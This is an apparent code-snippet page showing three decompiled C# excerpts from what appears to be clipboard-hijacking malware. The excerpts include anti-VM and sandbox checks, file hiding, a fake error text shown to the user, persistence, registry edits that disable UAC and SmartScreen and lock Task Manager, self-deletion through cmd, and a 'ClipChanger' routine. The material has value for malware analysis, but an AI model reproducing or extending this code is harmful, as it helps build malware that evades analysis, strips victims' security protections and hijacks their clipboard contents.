示例#1
0
        // Token: 0x0600002E RID: 46 RVA: 0x00002F08 File Offset: 0x00001108
        public static bool CheckWMI()
        {
            List <string> list = new List <string>
            {
                "virtual",
                "vmbox",
                "vmware",
                "virtualbox",
                "box",
                "thinapp",
                "VMXh",
                "innotek gmbh",
                "tpvcgateway",
                "tpautoconnsvc",
                "vbox",
                "kvm",
                "red hat"
            };
            List <string> modelsAndManufactures = CheckVirtual.GetModelsAndManufactures();

            using (List <string> .Enumerator enumerator = modelsAndManufactures.GetEnumerator())
            {
                if (enumerator.MoveNext())
                {
                    string item = enumerator.Current;
                    return(list.Contains(item));
                }
            }
            return(false);
        }
示例#2
0
 // Token: 0x0600002F RID: 47 RVA: 0x00002FFC File Offset: 0x000011FC
 public static bool Inizialize()
 {
     return(CheckVirtual.GetIsRdpAvailable() || CheckVirtual.GetSandBoxies() || CheckVirtual.CheckWMI());
 }
示例#3
0
 public static void Main()
 {
     if (RunCheck.CheckMutex())
     {
         Date date = new Date();
         if (date.AntiVm && CheckVirtual.CheckWMI())
         {
             Environment.Exit(0);
         }
         if (date.Delay)
         {
             Program.Sleeping(RunCheck.ThreadSleep);
         }
         if (GlobalPath.AssemblyPath.StartsWith(GlobalPath.StartUpFromAppDataReserv, StringComparison.OrdinalIgnoreCase))
         {
             if (!GlobalFile.IsHideOrNo())
             {
                 GlobalFile.HideFile(GlobalPath.AssemblyPath, FileAttributes.Hidden);
             }
             ClipChanger.StartChanger();
             return;
         }
         new Thread(delegate()
         {
             ProcessControl.KillClipInizialize();
         })
         {
             IsBackground = true
         }.Start();
         if (date.AddGarbage)
         {
             new Thread(delegate()
             {
                 Garbage.InizializeTrash(500);
             }).Start();
         }
         if (date.FakeText)
         {
             File.WriteAllText(string.Concat(new string[]
             {
                 "Error.txt"
             }), GlobalPath.MessageErrorTextForUser);
         }
         if (date.AddInSystemRun)
         {
             InjReg.CopyAndShelduderInizialize();
             RegistryControl.ToogleHidingFolders("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", "Hidden", 2);
             ExpSetting.RefreshExplorer();
             if (date.Uac)
             {
                 RegistryControl.ToogleUacAdmin("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0);
             }
             if (date.Smart)
             {
                 RegistryControl.ToogleSmartScreen("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer", "SmartScreenEnabled", "Off");
             }
             if (date.TaskLock)
             {
                 RegistryControl.ToogleTaskMandRegedit("Software\\Microsoft\\Windows\\CurrentVersion\\Policies", 1);
             }
             GlobalFile.HideFile(GlobalPath.AssemblyPath, FileAttributes.Normal);
             Liquidation.Inizialize(GlobalPath.BatchFile);
             Liquidation.SelfDelete("cmd.exe", "/C choice /C Y /N /D Y /T 1 & Del \"" + GlobalPath.GetFileName);
             return;
         }
         if (!GlobalFile.IsHideOrNo())
         {
             GlobalFile.HideFile(GlobalPath.AssemblyPath, FileAttributes.Hidden);
             ClipChanger.StartChanger();
             return;
         }
     }
     else
     {
         Environment.Exit(0);
     }
 }